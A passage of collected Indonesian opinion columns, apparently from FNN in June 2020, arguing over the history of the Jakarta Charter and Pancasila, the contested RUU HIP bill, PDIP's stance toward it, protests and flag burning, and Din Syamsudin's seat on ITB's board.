bekerja bersama-sama, beliau banyak mendorong saya agar bisa berkembang secara optimal sebagi wartawan. Selama di Jabar, Her Suganda terus menerus mendorong saya untuk bisa mendatangani setiap pelosok daerah di Jabar. Tujuannya, agar minimal saya sebagai wartawan bisa mengenal daerah liputannya. Ketika Her Suganda menjalani masa pensiun tahun 2002, saya seolah merasa kehilangan sosok yang selama ini telah ikut mempengaruhi perjalanan saya sebagai wartawan. Pandangan saya ini mungkin bisa dianggap berlebihan tapi memang demikianlah adanya.Semoga di hari ulang tahun Kompas ke 55 pada 28 Juni 2020, sosok wartawan idealis seperti Her Suganda bisa dijadikan cermin bagi generasi baru para wartawan muda. Wallohualam Bhisawab. Penulis Wartawan Senior.

Piagam Jakarta dan Pancasila Itu 22 Juni (Bag. Kedua)

by Furqan Jurdi Jakarta FNN – Kamis (27/06). Ternyata peta politik dan kekuatan militer dunia berubah di bulan agustus 1945. Amerika dan Sekutu membom bardir kota Herosima dan Nagasaki. Pemboman terhadap dua kota Induk Jepang ini membuat Jepang tidak berdaya dan menyerah tanpa syarat kepada sekutu. Pada saat yang sama Soekarno dan Hatta bertemu Jenderal Terauchi di Dalat. Dalam perjalanan pulang dari Dalat, keduanya belum mengetahui akan kondisi jepang yang dibom sekutu. Sampai di Indonesia, keduanya mendapatkan desakan untuk segera membacakan proklamasi kemerdekaan. Desakan itu datang dari tokoh-tokoh muda. Namun Soekarno belum bisa menerima desakan itu. Akhirnya mereka menemui Laksamana Muda Maeda untuk mengetahui kejelasan kalahnya Jepang kepada sekutu. Dan Maeda membenarkan bahwa Jepang sudah kalah perang. Maeda mengatakan kepada Soekarno dan Hatta bahwa janji kemerdekaan dari Jepang tidak bisa di harapkan lagi. Saatnya Indonesia menentukan sendiri nasibnya. Jepang lepas tangan. Bangsa Indonesia menentukan sendiri nasibnya untuk menjadi negara merdeka. Jadi, kemerdekaan Indonesia bukanlah hadiah dari negara manapun, melainkan ikhtiar dan usaha Bangsa Indonesia sendiri. Malam hari sebelum pembacaan Proklamasi, hiruk-pikuk tentang kemerdekaan menggema. Dalam keadaan demikian, maka disusunlah naskah prokamasi yang singkat, yang akan dibacakan hari Jum’at tanggal 17 Agustus 1945. Pembacaan Proklamasi disekapakati pukul 10 WIB pagi di jalan Pengangasan Timur, sekarang Tugu Proklamasi. Nakah Proklamasi dibacakanlah oleh Soekarno di dampingi Hatta atas nama bangsa Indonesia. Dua peristiwa penting terjadi hari itu. Proklamasi dan polemik ideologi. Sebab, sore hari setelah pembacaan Proklamasi itu, menurut cerita dari Bung Hatta, bahwa dia di datangi oleh Opsir Kaigun (Pembantu Laksamana) menyampaikan keberatan orang-orang dati Indonesia Timur tentang tujuh kata dalam Piagam Jakarta tersebut. Menurut Bung Hatta, opsir itu membawa pesan dari orang-orang Indonesia Timur, bahwa umat Kristen tidak menerima Naskah Piagam Jakarta. Bahkan mengancam tidak akan ikut menggabungkan diri ke dalam Negara Indonesia yang sudah sehari sebelumnya merdeka. Sampai disini perlu dicatat, bahwa Opsir Kaigun yang menemui Bung Hatta itu ternyata membantah pengakuan tersebut. Dalam sebuah kesempatan Prof. Yusril Ihza Mahendra mengatakan bahwa Opsir itu mengaku tidak pernah menyampaikan apa yang dikatakan oleh Bung Hatta. Opsir tersebut kalau nggak salah namanya adalah Letnan Kolonel Angkatan Laut Segetada Nasijema. Sementara dalam Panitia 9 ada seorang perwakilan Kristen, yaitu Mr. A Maramis. Bahkan A. Maramis dengan setuju Piagam Jakarta itu menjadi Filosofiche Groundslaag Indonesia merdeka. Karena itu informasi yang disampaikan oleh Bung Hatta tentang opsir Kaigun yang menyampaikan keberatan orang-orang yang beragama Kristen di Indonesia Timur terbantahkan. Dengan demikian, Cerita Bung Hatta itu tidak bisa dibuktikan kebenarannya dan sampai hari ini. Perubahan Piagam Jakarta menjadi Pancasila, serta penghapusan tujuh anak kalimat itu menjadi polemik ideologi yang tak kunjung selesai. Besoknya tanggal 18 Agustus adalah rapat pemilihan Presiden dan Wakil Presidn pertama Indonesia. Pada hari yang sama, juga penetapan UUD 1945 menjadi konstitusi negara. Falsafah dasarnya adalah Piagam Jakarta yg ditetapkan lebih dulu sebelum Indonesia Merdeka. Sidang yang rencananya di mulai pukul 9 WIB pagi, diundur sampai pukul 11 WIB. Lobby pun tak bisa dihindarkan. Saling bertahan dalam kesepakatan, dan penetapan tanggal 22 Juni itu. Sementara sebagian besar tokoh-tokoh Islam yang masuk dalam panitia kecil sedang tidak berada di Jakarta ketika perubahan itu terjadi. Namun tokoh Islam dengan pemegang kuncinya adalah Ki Bagus Hadikusumo, waktu itu menjabat sebagai Hoofbestur atau Ketua umum PP Muhammadiyah, dengan mediasi Kasman Singodimedjo (Salah satu pengurus pusat muhammadiyah) Kiyai Wahid Hasyim (Ulama NU) dan tokoh Islam lainnya merelakan tujuh kata itu dihapus demi Kautuhan bangsa dan negara. Maka tanggal 18 Agustus 1945 Piagam Jakarta yg ditetapkan tanggal 22 Juni itu diubah menjadi Pancasila Tanggal 18 Agustus 1945, dengan rumusan berlaku sekarang. Ketuhanan Yang Maha Esa, Kemanusiaan Yang Adil dan Beradab, Persatuan Indonesia, Kerakyatan Yang Dipimpin Oleh Hikmat Kebijaksanaan Dalam Permusyawaran Perwakilan, serta Keadilan Sosial Bagi Seluruh Rakyat Indonesia. Akhirnya Umat Islam merelakan tujuh anak Kalimat itu hilang. Hanya demi persatuan dan keutuhan negara Indonesia yang baru saja mendeka sehari sebelumnya. Pengorbanan besar itu menjadi peristiwa sejarah yang paling penting dalam sejarah Indonesia. Pengorbanan terbesar umat Islam setelah berkorban dan berjuang melawan penjajah Belanda selama tiga abad lebih. Meski demikian, umat Islam telah memantapkan hati menjadikan Pancasila sebagai falsafah bangsa Indonesia. Hal itu dapat dilihat dari sikap Muhammadiyah yang telah menetapkan Pancasila sebagai “Darul Ahdi wa Syahadah”. Sementara NU menyebutnya Mitsaqan Ghalidza atau Perjanjian Agung Bangsa Indonesia. Artinya, Pancasila sudah final dalam kehidupan berbangsa dan Bernegara. Jangan lagi ada yang menggores luka lama sejarah, dengan mengungkit masalah ideologi Pancasila dan lain sebagainya. Sebab itu bisa memicu perpecahan di kalangan rakyat Indonesia. Sebagai sebuah falsafah, tentu saja Pancasila sangat terbuka. Pancasila juga sangat berpeluang untuk ditafsirkan dalam kehidupan berbangsa dan bernegara. Tetapi Pancasila jangan sampai dijadikan sebaga alat politik untuk membungkam lawan politik. Bisa kualat, dan terhina di akhir kekuasaan nanti. Tetapi disini saya perlu ingatkan bahwa, siapapun yang berkuasa selalu mengalami kehinaan ketika menjadikan Pancasila sebagai temeng untuk melindungi kekuasaanya. Menjadikan Pancasila untuk membunuh lawan-lawan politiknya. Kalau penguasa bersikap seperti itu, maka tunggulah bahwa Pancasila akan menghinakan kekuasaan dari penguasa seperti itu. Maka, Pancasila disebut sebagai Pancasila Sakti. Karena Pancasila telah mampu melakukan oposisi terhadap kekuasaan. Maka tugas kita sebagai generasi yang tidak berjuang memerdekakan bangsa ini adalah menjaga rumah besar Pancasila. Menjaga Pancasila dari rongrongan yang dating dari luar maupun dalam negeri. Terutama dari mereka yang mencoba memanfaatkan situasi tertentu dengan memonopoli Pancasila untuk merusak persatuan dan NKRI. (habis) Penulis adalah Ketua Lembaga Dakwah DPP IMM

PDIP Bikin Bulunder, Indonesia Dikepung Demontransi

by Tony Rosyid Jakarta FNN – Sabtu (27/06). Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) dicurigai oleh umat Islam. RUU ini dicurigai sebagai bentuk upaya menghadirkan kembali komunisme. Apa saja dasar kecurigaan umat Islam tersebut? Pertama, mendorong Pancasila ke Trisila. Lalu diperas lagi menjadi Ekasila. Kedua, secara sengaja menolak dan menyingkirkan TAP MPRS No 25 Tahun 1966 dari konsideran RUU HIP. Sangat berasalan kalau umat Islam curiga ada agenda terselubung untuk menghidupkan kembali faham komunisme. Umat Islam, baik melalui Maklumat Majelis Ulama Indonesia (MUI), maupun semua Ormas Islam dan dan elemen umat Islam lainnya, tidak saja menuntut pembatalan. Tetapi juga meminta aparat berwajib untuk mengusut tuntas para oknum dibalik RUU HIP tersebut. Umat Islam beranggapan, oknum konseptor dan anggota DPR yang menjadi pengusul RUU ini telah sengaja melakukan makar kepada ideologi negara Pancasila. Makar terhadap dasar negara Pancasila, hasil konsensus tanggal 18 Agustus 1945. Bantahan berbagai pihak, khususnya dari kader PDIP terkait adanya unsur komunisme di dalam RUU HIP tersebut tak merubah stigma yang sudah terlanjur tertanam di otak umat. Di tengah gelombang protes terhadap RUU HIP, partai berlambang kepala banteng ini justru memunculkan narasi dan sikap yang dianggap kontra-produktif. Pertama, fraksi PDIP tetap bertekat ingin melanjutkan pembahasan RUU HIP. Sekaligus PDIP juga mengkritik sejumlah fraksi yang balik badan, dan menolak RUU HIP dilanjutkan. PDIP rupanya tetap mau arus daras penolakan dari umat Islam. Akibatnya, PDIP sendirian yang bakal dikempung demontrasi besar-besaran dari umat Islam. Untuk menunjukkan keseriusannya melanjutkan RUU HIP, PDIP membuka tawaran. Menerima TAP MPRS No 25 Tahun 1966 dimasukan dalam konsideran. Namun dengan syarat, larangan terhadap radikalisme dan khilafaisme juga harus dimasukkan dalam pembahasan RUU HIP. PDIP juga menawarkan perubahan nama dari RUU Haluan Ideologi Pancasila (HIP). Namanya menjadi RUU Pembinaan Ideologi Pancasila (PIP). Nampaknya, PDIP mau menggeser isu RUU HIP, dari PDIP ke Badan Pembinaan Ideologi Pancasila (BPIP). Langkah cerdik baru dari PDIP. Sayangnya, langkah untuk menyelamatkan diri ini, sudah dibaca umat Islam. Kedua, PDIP mengerahkan massa tandingan di sejumlah tempat, di saat umat Islam mengepung gedung DPR. Show the power. Sepertinya ingin memberi pesan bahwa PDIP juga punya kekuatan massa. Bahkan muncul ungkapan bahwa kader PDIP berjumlah jutaan. Untuk menunjukkan ini, ada instruksi kepada para kader untuk memasang bendera partai di rumah masing-masing. Ketiga, terhadap para pembakar bendera, PDIP menuntut adanya pengusutan oleh pihak kepolisian. Meminta kepada seluruh pengurus PDIP se-Indonesia, agar datang ke polres-polres setempat untuk melaporkan para pembakar bendera. Sudahkah ada laporan resminya ke pihak polisi? Sampai sekarang belum terkonfirmasi. Sikap dan langkah PDIP oleh banyak pengamat dianggap blunder. Akibatnya, tidak saja partai pengusung Jokowi ini ditinggalkan oleh semua fraksi di DPR. Namun PDIP juga telah dianggap memancing emosi umat Islam. PDIP seolah memberi energi tambahan kepada umat untuk kembali turun ke jalan. Faktanya, pasca PDIP mengeluarkan sejumlah pernyataan dan mengambil sikap, gelombang massa yang turun ke jalan di berbagai daerah semakin masif. Bahkan dari video yang beredar di medsos, tampak kalau pembakaran terhadap bendera PDIP masih saja terjadi di daerah. Bahkan kemungkinan saja semakin marak dan massif nantinya. PDIP itu partai besar. Sebagai partai pemenag pemilu dua kali berturut-turut. Jika tak ingin kehilangan konstituennya dari kalangan umat Islam, mesti mau melakukan evaluasi terhadap sikap dan langkah yang selama ini diambil. Ini bukan soal siapa yang kuat. Tapi ini soal nasib PDIP ke depan, dan demi menjaga keutuhan bangsa dan negara. PDIP harusnya mengevaluasi sejumlah sikap dan langkahnya . Yang oleh banyak pihak dianggap provokatif, ini justru bisa memancing terjadinya demonstrasi besar-besaran. Bahkan diprediksi jauh bisas melebihi 212 tahun 2018 lalu. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

ITB Sangat Butuh Prof. Din Syamsudin

by Dr. Syahganda Nainggolan Jakarta FNN – Sabtu (27/06). Sehubungan beredarnya pernyataan Yani Panigoro, Ketua Majelis Wali Amanah (MWA) ITB, bahwa Prof. Dr. Din Syamsudin akan mengundurkan diri sebagai anggota MWA ITB. Prof. Din Mengundurkan diri karena alasan adanya desakan dari alumni ITB. Saya curiga, ini sebagai alasan yang mengada-ada. Masalahnya, tuntutan agar Prof Din Syamsudin mundur dilakukan oleh kelompok yang mengatasnamakan Alumni ITB Anti Radikalisme atau Gerakan Anti Radikalisme Alumni ITB. Padahal dalam kealumnian ITB hanya dikenal Ikatan Alumni ITB Pusat dan Ikatan Alumni ITB Daerah, serta Ikatan Alumni Jurusan. Semuanya dalam satu wadah resmi yang diketuai Dr. Ridwan Jamaluddin. Alasan yang ditujukan terhadap penolakan Din sebagai anggota MWA bahwa Prof. Din radikal sangat membingungkan. Pertama, Prof. Din dikaitkan radikal karena pernah menghadiri acara HTI (Hizbuttahrir Indonesia) pada tahun 2007. Padahal pada tahun 2017, sepuluh tahun kemudian, Presiden Jokowi mengangkat Prof. Din Syamsudin sebagai Utusan Khusus Presiden untuk Dialog dan Pembangunan Perdamaian serta Peradaban Dunia. Pada saat ditanya wartawan alasan pengangkatan Din setingkat menteri itu, Jokowi menyebutkan dia sudah mengetahui jejak rekam dan pondasi yang kokoh Prof. Din dibidang tersebut. Bahkan, Jokowi merayu Professor Din untuk mau menerima amanah itu demi kepentingan negara. Kedua, Prof. Din disebutkan mengkritik Mahkamah Konstitusi (MK) atas hasil pilpres tahun 2019 yang lalu. Alasan ini juga membingungkan. Sebab, Din Syamsudin kala itu meminta masyarakat agar menerima legalitas hasil pilpres yang diputuskan MK, namun tetap perlu menyimpan rasa curiga atas keputusan MK yang terasa ganjil tersebut. Dalam posisi ini, sebenarnya Prof. Din Syamsudin memberikan kanalisasi pada emosi puluhan juta rakyat yang merasa Pemilu Pilpres diwarnai dengan berbagai kecurangan. Sehingga, harusnya sikap Prof. Din Syamsudin ini dikatagorikan sikap negarawan. Bukan orang yang radikal. Ketiga, Prof. Din Syamsudin dikatakan banyak mengkritik pemerintahan Jokowi. Hal ini melanggar Statuta ITB dan MWA ITB yang mengatakan bahwa hubungan ITB dan pihak pemerintah harus baik-baik saja. Hal ini sedikit membingungkan. Karena ITB dan jajaran professornya dari dulu tercatat sangat lumrah bersikap kritis terhadap pemerintah. Pada masa Suharto, bahkan rumah Rektor ITB Professor Iskandar Alisyahbana dihujani peluru oleh tentara pendukung rezim Suharto. Karena rektor tersebut mendukung gerakan mahasiwa ITB 77/78 yang meminta Suharto lengser. Sampai akhir hayatnya Professor Iskandar Alisyahbana tidak menyesal mendukung gerakan mahasiswa saat itu. Kebebasan ilmiah telah membuat kampus ITB terkenal menghargai sikap kritis. Dengan demikian sikap Prof. Din Syamsudin yang saat ini sering kritis terhadap pemerintah Jokowi, harus dimaklumi sebagai bagian dari hidupnya demokrasi, yang sejak dulu diperjuangkan ITB. Perlu dicatat bahwa ITB harus berkembang pesat untuk memajukan industrialisasi dan kualitas pendidikan tinggi kita. Peranan industri yang terus merosot. Jika diukur dengan kontribusinya bagi PDB, sudah mencemaskan saat ini. Kontribusi sektor industri di masa SBY, 2008, masih sebesar 27,8% terhadap PDB. Namun, di masa Jokowi, kuartal 3/2019, kontribusi sektor industri hanya 19,8% saja. ITB QS Ranking pun masih pada nomor 331. Jauh di bawah University Malaya, pada urutan 59 dunia, pada tahun 2020. Untuk memajukan ITB dan jaringan internasional, sangat dibutuhkan datangnya dari berbagai pihak. Kehadiran Prof Din Syamsudin yang mempunyai relasi kuat ke Vatikan, PBB, PKC-RRC, tokoh-tokoh politik Amerika dan lainnya, tentu sangat perlu bagi ITB. Agar konektivitas terhadap dunia global bisa semakin cepat terjadi. Konektivitas adalah kata kunci kemajuan institusi, seperti ITB, di masa datang. Dengan demikian, daripada menghujat Professor Din Syamsudin secara brutal dengan menuduh radikal, lebih baik senat akademik ITB mempertahankan keberadaan Professor Din Syamsudin di MWA ITB. Salam Hormat, Penulis adalah Alumni Geodesi ITB, dan Alumni Paskasarjana Studi Pembangunan ITB.

Usut Bakar Bendera PDIP, Kejar Pelaku Makar Pancasila

By Asyari Usman Jakarta, FNN - Kalau pembakaran bendera PDIP di aksi unjukrasa RUU HIP memang berdimensi pidana, tentu bisa saja diusut sesuai aturan hukum yang berlaku. Semua pihak akan mengikuti penegakan hukum. Karena negara ini adala negara hukum. Tetapi, yang lebih besar dari peristiwa pembakaran bendera itu juga wajib diusut. Bahkan, harus diselidiki dengan sangat serius. Yaitu, rencana untuk mengubah Pancasila menjadi Trisila dan Ekasila. Rencana yang jelas-jelas ingin melenyapkan sila Ketuhanan Yang Maha Esa (KYME) dari Pancasila. Ini lebih besar dari pidana bakar bendera partai. Mengubah Pancasila adalah perbuatan makar terhadap negara. Para penggagas Trisila dan Ekasila, sebagaimana tertera di dalam RUU HIP, ingin mengubah dasar negara. Motif mereka tidak samar-samar. Mereka berencana untuk menghilangkan agama dari bumi Indonesia. Rencana itu tidak saja melawan pasal-pasal pidana, tetapi juga bertentangan frontal dengan UUD 1945. Di dalam RUU HIP tersirat keinginan untuk menghidupkan kembali komunisme dan marxisme-leninisme di Indonesia. Itu terlihat dari peniadaan Tap MPRS XXV/1966 tentang larangan komunisme-PKI di deretan konsideran RUU HIP. Inilah salah satu fakta yang menyulut reaksi keras dari rakyat lewat unjukarasa 24 Juni 2020 di DPR. Pembakaran bendera partai adalah ekses dari reaksi keras itu. Silakan diusut tuntas. Boleh-boleh saja. Tetapi, pembakaran bendera dan proses pengusutannya jangan sampai mengalihkan perhatian semua pihak dari rencana makar terhadap Pancasila. Ini jauh lebih mendesak untuk diuraikan. Harus segera ditemukan dalang rencana makar. Setelah itu, harus ada tindakan hukum terhadap para perencana makar. Institusi penegak hukum tidak akan menghadapi kesulitan untuk mengusut makar Pancasila dan pembakaran bendera PDIP. Bukti-bukti sudah terdokumentasi. Ada video tentang pembakaran bendera dan ada pula video tentang rencana makar Pancasila. Bahkan, rencana makar Pancasila memiliki dokumen tertulis yang sangat lengkap. Dan tersimpan di DPR. Hanya melalui penegakan keadilan yang utuh dan tidak berat sebelah, semua kita bisa hidup dengan tenteram. Keberpihakan pasti akan tercium dan terungkap. Akumulasi keberpihakan pasti pula akan berproses menjadi bom waktu. Sebaiknya, janganlah dirakit bom waktu itu. Jadi, silakan usut bakar bendera PDIP. Tapi, wajib dikejar pelaku makar Pancasila.[] 26 Juni 2020(Penulis Wartawan Senior)

Kini PDIP Sendirian Hadapi Demo Umat Islam

by Tony Rosyid Jakarta FNN – Jum’at (26/06). Yang menjaga Pancasila, bukan hanya tugas Umat Islam. Tapi tugas semua anak bangsa. Kalau di media, terkesan hanya umat Islam yang memprotes terhadap Rancangan Undang-Undang Haluan Idelogi Pancasila (RUU HIP). Itu karena pertama, umat Islam mayoritas 82%-83%. Kedua, umat Islam paling banyak merasakan pedihnya pemberontakan PKI. Pembantaian dan pembunuhan para ulama, Kiyai pesantren, santri, guru ngaji, iman masjid dan tokoh agama. Prilaku biadab oleh PKI itu telah mengisi sejarah kelam bangsa ini. Terutama kaum Nahdhiyin dan para aktivis Ansor. Mereka paling merasakan kebiadaban PKI saat itu. Juga warga Muhammadiyah, kader-kader HMI serta PII. Umat Islam kaget dan sangat terkjejut ketika mengetahui RUU HIP diusulkan ke prolegnas prioritas DPR. Hampir saja semua fraksi di DPR kompak setuju. Kok bisa ya? Kecuali Demokrat dan PKS yang tak mau tanda tangan. Anehnya, Fraksi PAN, PKB dan PPP yang punya akar pemilih umat Islam juga setuju dan mendukung RUU HIP makar kepada negara ini. Setelah MUI mengeluarkan delapan maklumat yang didukung hampir seluruh ormas Islam, barulah sejumlah fraksi di DPR tarik diri. PAN, PPP, PKB, Gerindra dan Nasdem balik badan. Padahal semula dengan langkah tegap mendukung. Tetapi sekarang balik menolak. Golkar setuju dengan catatan. Tinggal PDIP yang masih bertahan. Sendirian! Sebagaimana diprediksi oleh banyak pihak, PDIP tak mungkin balik badan. Posisinya sebagai pengusul utama. Umat sudah tahu itu. Apalagi, sebagian isi dari RUU HIP itu merupakan bagian dari “Visi dan Misi” PDIP. Terutama Trisila dan Ekasila yang dikristalisasi dalam konsep gotong royong. Basisnya adalah Pancasila yang 1 Juni 1945. Padahal umat Islam hanya mengai Pancasila consensus 18 Agustus 1945. Memahami masalah itu, hanya kepada PDIP semua narasi umat itu diarahkan. Hanya PDIP yang dibidik oleh umat. Dianggap paling bertanggung jawab atas RUU HIP. Bukan partai atau fraksi lain. Bergaungnya tuntutan umat untuk bubarkan PDIP di berbagai daerah, bisa dibaca sebagai arah dan target bidikan kelompok yang melawan RUU HIP. Tentu saja, tak semudah itu membubarkan PDIP. Apalagi untuk di Indonesia. Belum ada partai politik yang bubar, kecuali karena dua hal. Pertama, dibubarkan oleh penguasa. Kedua, nggak lagi punya pengikut. Sebagai protes dan tuntutan, aspirasi untuk membuabrkan PDIP itu sah-sah saja. Dijamin oleh konstitusi. Dan semua akan dikembalikan ke aturan hukum yang berlaku. Masalahnya, proses hukum seringkali jinak terhadap kekuatan politik. Dari dulu, ini jadi masalah yang sangat serius. Sampai sekarang belum ada tanda-tanda untuk bisa mengatasi proses hokum yang jinak kepada kekuatan politik penguasa.. Dari sisi analisis dan kalkulasi politik, pada akhirnya akan ditentukan oleh adu kuat antara antara PDIP vs Umat. Mana yang lebih superior. PDIP punya akses kekuasaan dengan semua kelengkapan alatnya. Sementara Umat Islam hanya punya kekuatan massa. Pertarungan ke depan kemungkinan saja bakal seru dan sengit. Sebagai partai penguasa, PDIP menunjukkan sikap tegarnya. Tak bergeser, apalagi mundur. Sebaliknya, PDIP justru menyerang balik dengan mempolisikan sejumlah orang yang diduga membakar benderanya. PDIP juga instruksikan kadernya untuk siaga dan pasang bendera di rumahnya. Apa maksudnya? Boleh jadi itu pesan bahwa PDIP tidak pernah merasa gentar. Buktinya, kader PDIP justru mengadakan konvoi di Jakarta Timur dan Jogja saat umat demo di DPR. Meski umat Islam cukup matang dan berpengalaman saat demo, sebagaimana terbukti pada demo 212 dan beberapa kali reuni, tapi tak menjamin akan mampu terus menahan diri jika merasa diprovokasi. Sebab, isu komunisme jauh lebih sensitif dari apapun, termasuk penistaan agama. Langkah PDIP mempolisikan pembakar bendera, entah siapa pembakar itu sesungguhnya, juga menyiagakan kader dan adakan konvoi. Langkah PDIP ini bisa disalahpahami sebagai langkah provokatif. Langkah ini justru bisa menyulut situasi yang semakin tidak kondusif. Harus dimengerti, komunisme adalah isu yang paling sensitif bagi umat Islam. Sebab, isu ini telah mewariskan sejarah pilu. Bahkan sangat mengerikan bagi umat Islam. Jejak sejarah inilah yang mendorong umat Islam tampak kompak menghadapi isu komunisme ini. Terbukti, Maklumat MUI mendapat dukungan hampir seluruh ormas. Melihat situasi yang semakin sensitif, akan jauh lebih bijak, jika PDIP menahan diri dan tidak membuat langkah-langkah yang bisa dianggap oleh umat sebagai upaya provokatif. Meski menuntut pembakar bendera itu dibenarkan secara konstitusional, tetapi ini bisa dianggap sebagai memancing reaksi perlawanan umat Islam yang semakin masif. Instruksi untuk siaga, pasang bendera dan konvoi, ini bukan langkah tepat dalam situasi seperti sekarang. Bisa juga dibilang konyol. Bangsa ini dibesarkan dengan jiwa kepahlawanan. Hendaknya semua pihak menghindari cara-cara preman. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

PDIP dalam Pusaran Trauma Politik PKI

Oleh Hersubeno Arief Jakarta, FNN - Badai politik sedang menerpa Partai Demokrasi Indonesia Perjuangan (PDIP). Bila salah mengelola dan mengantisipasi, bukan tidak mungkin berubah menjadi tsunami politik. Mengancam basis elektoralnya. Situasinya cukup genting. Ketua Umum PDIP Megawati sudah memerintahkan para kadernya “merapatkan barisan.” Fraksi PDIP menyerukan perlawanan. Seruan itu dikeluarkan menyusul pembakaran bendera partai oleh massa pengunjukrasa penentang RUU Haluan Idiologi Pancasila (PDIP) di Gedung MPR/DPR. Bendera merah dengan simbol kepala banteng moncong putih itu dibakar bersama bendera merah dengan simbol palu arit. Pengunjukrasa tampaknya secara tegas ingin menyampaikan pesan bahwa PDIP sama berbahayanya dengan Partai Komunis Indonesia (PKI). Partai terlarang itu beberapa kali melakukan pemberontakan, namun gagal. Gerakan perlawanan publik sungguh mengagetkan. Tampaknya tidak masuk dalam kalkulasi politik PDIP sebagai inisiator RUU HIP. Kemungkinan besar mereka menduga bakal suskes menyelundupkan menjadi UU mumpung publik lengah karena pandemi. Sebagai partai penguasa, PDIP tengah berlayar dalam segala kemegahannya dan eforia kemenangan. Bersama-sama partai pendukung pemerintah mereka berhasil menggolkan berbagai UU kontroversial. Mulai dari UU Minerba sampai UU Kebijakan Stabilitas Keuangan Negara. PDIP kali ini salah hitung. Tanpa mereka sadari, ambisi menghegemoni tafsir politik Pancasila ternyata membangunkan macan tidur. Isu bangkitnya kembali PKI membuat dua sekutu lama --kalangan umat beragama dan TNI-- kembali bersatu. Mata publik kini juga menjadi lebih terbuka, siapa mereka sesungguhnya dan apa agendanya? Semakin lama, pendulum politiknya semakin bergerak terlalu ke kiri. Mengulang kisah lama Posisi PDIP saat ini mengingatkan kita pada kemelut politik tahun 1965. Kemelut politik yang menjadi penyebab tumbangnya Presiden Soekarno. Menjelang kejatuhannya, bandul politik ayah Megawati itu bergeser sangat jauh. Dari tengah, ke kiri jauh (komunis). Dia mencoba menyatukan berbagai elemen kekuatan bangsa dalam sebuah ijtihad politik yang disebutnya sebagai Nasakom (Nasionalis, Agama dan Komunisme). Setting politiknya hampir sama. Saat itu Soekarno melalui Demokrasi Terpimpin menjadi penguasa tunggal yang otoriter. Soekarno juga berusaha menjadi penafsir tunggal Pancasila. “Siapa yang setuju kepada Pancasila, harus setuju kepada Nasakom. Siapa yang tidak setuju kepada Nasakom, sebenarnya tidak setuju kepada Pancasila,” tegasnya. Soekarno bahkan melangkah lebih jauh dengan mengatakan: “Sekarang saya tambah: Siapa setuju kepada Undang-Undang Dasar 1945, harus setuju kepada Nasakom; Siapa tidak setuju kepada Nasakom, sebenarnya tidak setuju kepada Undang-Undang Dasar 1945.” Kekuatan-kekuatan yang menentang ide Nasakom dilabeli oleh Soekarno sebagai kontra revolusi. Dengan cap kontra revolusi Partai Sosialis Indonesia (PSI) dan Partai Majelis Syuro Muslimin Indonesia (Masyumi) dibubarkan. Tuduhannya para tokohnya banyak terlibat dalam gerakan PRRI/Permesta. Melalui RUU HIP selain ingin merebut kembali hegemoni tafsir Pancasila. PDIP ingin menghidupkan kembali gagasan Soekarno. Hal itu terlihat dalam rumusan memeras Pancasila menjadi Trisila. Kemudian diperas lagi menjadi Ekasila: Gotong royong. Rumusan itu muncul dalam pidato Soekarno pada sidang BPUPKI tanggal 1 Juni 1945. Satu hal lagi yang membuat kekuatan agama dan purnawirawan TNI meradang adalah penolakan PDIP mencantumkan TAP MPRS No 25 Tahun 1966 dalam RUU HIP. Dalam Ketetapan MPRS itu PKI dibubarkan dan dinyatakan sebagai partai terlarang. Wajar jika langkah politik PDIP ini mengundang kecurigaan. Sikap politik PDIP terhadap TAP MPRS ini sesungguhnya cukup jelas. Sebuah kliping media yang belakangan beredar, menunjukkan pada Sidang Tahunan MPR (2003) PDIP mengagendakan dan akan memperjuangkan pencabutan TAP tersebut. Dasar pertimbangannya adalah HAM (Rakyat Merdeka 29 Juli 2003). Kini manuver politik PDIP berubah menjadi prahara. Penolakan memasukkan TAP MPRS XXV Tahun 1966 dan memeras Pancasila menjadi Ekasila —kendati sudah dicabut—menghidupkan kembali isu lama: bangkitnya PKI. Isu yang semula disebut sebagai hantu, dalam benak publik kini menjadi nyata. PDIP identik dan disamakan dengan kebangkitan PKI karena RUU HIP. Runyam khan?! End Penulis Wartawan Senior

PDIP Tak Rela Dengan Pancasila 18 Agustus 1945

by M Rizal Fadillah Jakarta FNN – Jum’at (26/06). Sebenarnya agak aneh juga. Hanya gara-gara Rancangan Undang-Undang Haluan Edeologi Pancasila (RUU HIP) muncul isu, seruan, dan desakan yang menghendaki pembubaran PDIP. Partai terbesar sebagai pemenang dua kali Pemilu terakhir, baik legislatif maupun Presiden. Partai bersimbol banteng ini tentu berbenteng kokoh. Siapa sih yang berani menyinggung keberadaannya? Disamping itu jumlah anggota dewannya terbanyak. Bukan saja terbanyak DPR RI, tetapi juga di berbagai daerah, baik yang Provinsi maupun Kabupaten/Kota. PDIP juga menempati berbagai jabatan strategis di pemerintahan, baik di Pusat maupun di Daerah. RUU HIP ternyata mampu membuka banyak hal yang selama ini tertutup rapat. Ditolak rakyat karena beraroma dan berbau Orde Lama, PKI, dan Komunisme. Pemerintah "menunda" karena sensitivitas muatan RUU HIP. Pemerintah juga meminta Dewan menyerap aspirasi lebih dalam. Rakyat tegas dan jelas menolak. Tidak memberi ruang untuk direvisi. Selanjutnya, rakyat mendesak agar diusut siapa saja konseptor. Terutama mereka yang bisa dikualifikasikan sebagai melakukan makar kepada idelogi dan dasar Negara Pancasila. Pasal 107 KUHP diangkat sebagai ancaman pelanggarannya. Dengan Maklumat yang tajam, Mejelis Ulama Indonesia (MUI) tampil sebagai lokomotif penolakan dari kalangan umat Islam. "Bongkar-bongkaran" yang lebih dalam telah menguak platform perjuangan PDIP sebagai Partai Politik. Media sosial hari-hari ini diisi dengan uraian tentang Visi dan Misi perjuangan partai. Ternyata di sana, selain ada Pancasila, juga adaTrisila, dan Ekasila. Rakyat pun jadi terperanjat. Oooooh, seperti ini toh aslinya? Masyarakat Pancasila yang hendak dibangun oleh PDIP itu adalah masyarakat Pancasila yang 1 Juni 1945. Bukan Pancasila yang sekarang dijadikan landasan Negara Republik Indonesia, yaitu Pancasila konsensus tanggal 18 Agustus 1945. Inilah yang disorot sebagai "makar" ideologi oleh beberapa kalangan. Meskipun Pancasila 1 Juni 1945 hal itu hanya tersirat, namun narasi yang ada sudah cukup untuk membuat rakyat Indonesia "mengerutkan kening". Apalagi pada Mukadimah Anggaran Dasar PDIP, pada alinea ketiga terdapat narasi kalimat antara lain: "PDI Perjuangan memahami Partai sebagai alat perjuangan untuk membentuk karakter bangsa berdasarkan Pancasila 1 Juni 1945" Lalu : "Partai juga sebagai alat perjuangan untuk melahirkan kehidupan 